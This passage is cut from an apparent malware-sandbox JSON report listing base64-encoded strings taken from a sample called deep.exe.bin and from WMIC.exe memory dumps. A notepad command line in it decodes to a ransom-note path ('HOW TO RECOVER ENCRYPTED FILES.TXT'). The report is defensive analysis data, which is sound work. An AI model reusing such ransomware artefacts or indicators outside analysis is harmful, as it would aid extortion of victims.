Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bWd6PVJsI3g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bUh0fWomYnNoQi5D","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0IENvcnAuIDE5OTQtMjAwNw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0IENvcnBvcmF0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bU14RSYkOHpsYTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bXBpbGVyXzQzLmRsbA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TVM7VCtLdV41","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bVlkTzAmWUlP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bi09PixteDc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Tl1cfCwjJXBR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TkNQbD17OSU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bkV4T3QmNFxPMGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TmthU1VKY0RN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Tm9tdUxbWDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bnNldzZwRzA+Xw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TyB0flBFN3py","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b0RgcFZeYXlT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T2ZkMVsrV0YvdFk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T0tYZVtOXH10NCY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2xlYXV0MzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3E1YCBNIyhW","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T1ImIHBua28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b1RbPUZMQTo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cGZwTUNYXEkkeG4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UGxgdE1uNCVOJSRq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cHd3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHo5J3czOjArWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cSc1O2V7d18uQA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UTpEeXV5OW9g","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UV5VYGknbzgs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UWNwRCFlOSEr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UURpVT5fZEww","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UWZpLDVfek0y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UVAnWSRLVi5S","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UXt1VlYyV3pt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"clwnUlRRaGl9bQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ck9WIWpsPE8o","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cnE7Pjhtfko=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UndEWEwpSjoy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UldZbUU6cSI/Yw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cydJcmtGYmNv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UypvbVJbLn5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Uy80PHEoalsv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2Fjfl1FPGpi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c0MwcUhWZCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U0YvWipmT1k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c098UT02ICg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c1RMKVVSUlBb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3U+YTNdMyoxdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzRnJlZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dDEkVGk4WjVI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dDNEIEhMU0wgQ29tcGlsZXI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dDxAVENtfSBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGhhX2tfeV51","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyJDc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dElQVG06dHlV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VFZ4NUdEfH4r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dSQ5PC1cIEl2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VSh0Ulo7bWtC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VSk8bi1nZUwu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VWBnaE95QSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dWNZW2o5I3ZV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dWRZWUpUPVJY","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dUUiIFZXKypf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VU08ZE5vWGBv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dU4zWTcnaGpf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VVopW29NeHgy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dX1xMCA6eScr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VX5gfXprfCFdXg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ViV9Im4tNyd9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dlsrc2Uuamk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dkFJOzRIIEZVd0Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmUlMWIyV2R0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VkZtJkNBPyg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dmtATFlPVjRZ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VkxqdW9gQWg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlpUflBkOiF9Lk0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VnxBUy0rels9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Vy1yN256IFpX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VzFlKXwyYi0p","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dzJKZlg1Jzw1KQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V2kmVXZXUVs8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V0pOSFBwNFtMRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V09BVFJNRE1KS0VBVFVNUkRDTElQTUVOVTQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V1ZmPl5hJV9+OSU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3NC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d3d3d3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d3d4d3h3eHd3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eCY3PURzZ05eSg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WCp2SlF7ekws","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eDNvWkRbXT1O","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WHx+QEk6YDc8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WH05KUkqSzBf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eSBsez0uPjtN","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WSQxJkpWLktR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eScwX3pefiYl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WTREY3tQLDYi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eTwwMV1UWy13","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eWJNY1pgKHg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eUtjP3wte00gRQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eW09Ri0hMygx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eW1YJGoqM2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WXJET3VsJDA/LA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WVJ9RUVEKyVa","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WVhDeCEoOWM6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ejAwNFZoKG8x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WjRwJDM3OU4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ejVmQkpIU25e","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"WltmLUUmWGhg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"emJjPkdHL0dj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"eyV9IlNkcWRxPQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e19sUCpGXCE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e0ZMO3BTPFRIWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e21kcnhIXFtc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e1R9cUctYyA3OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"e1YqPyYmWjUx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fD5TbEdbNzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fEkjP0UiYjI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fTE/N0pMMjlF","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fTh0PUxEaCVc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fWlGQFQyYUU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fihHXFhlXUp7Mw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fjJpMWcpPlhv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"flBkR05sPXdQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fnJXcDEteygh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fn5+fn5+fn5+fg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"fn5+fn5+fn5+fn5+fn5+fg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null}]},{"name":"notepad.exe","strings":[{"value":"IiVVU0VSUFJPRklMRSVcSE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVCI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"notepad.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"WMIC.exe:3816","strings":[{"value":"IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IixubnV1bnkgUSBMIFE=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IlwsL1tdOjw+Kz07PyQje31+YF5AIScoKSo=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkRlc2NyaXB0aW9uIixSZWxQYXRoPSI=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IlF1YWxpZmllclZhbHVlIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMgLSAlcw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMtICUuNDhzLi4u","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0yNXMtICVz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS0zNXMlLTIwcyUtMTBz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC0lLjJkLSUuNGRUJS4yZDolLjJkOiUuMmQ=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZC8lLjJkLyUuNGQ=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JS4yZDolLjJkOiUuMmQ6JS4zZA==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXM8L1JFU1VMVEFOVFFVRVJZPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JXggJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KENMU0lEX1diZW1PYmplY3RUZXh0U3JjLCBOVUxMLENMU0NUWF9JTlBST0NfU0VSVkVSLCBJSURfSVdiZW1PYmplY3RUZXh0U3JjLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEwiJXMiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEwiQ0lNVFlQRSIsIDAsIC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KEwiRXhjbHVkZVN5c3RlbVByb3BlcnRpZXMiLDAsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LCAwTCwgTCIlcyIsIE5VTEwsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LCBVdGlsaXR5IHJldHVybmVkIGVycm9yIElELg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LC9bXTo8Pis9Oz8kI3t9fmBeQCEnKCkq","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LDEsIC0sIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LSBTdWNjZWVkZWQgJXMgJXMgdGhyZWFkOiVkIFslcy4lZF0=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LjEuNzYwMC4xNjM4NSAod2luN19ydG0uMDkwNzEzLTEyNTUp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVl9jb21fZXJyb3JAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hbGxvY0BzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVkNIZWFwX0V4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVkNYX0V4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmV4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxlbmd0aF9lcnJvckBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxvZ2ljX2Vycm9yQHN0ZEBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVm91dF9vZl9yYW5nZUBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVlNhZmVJbnRFeGNlcHRpb25AQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MCwgLSwwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MSQxRDFwMXQxeDE=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MjVzLSAlLjQ4cy4uLg==","type":"Unicode","source":"Memory/File 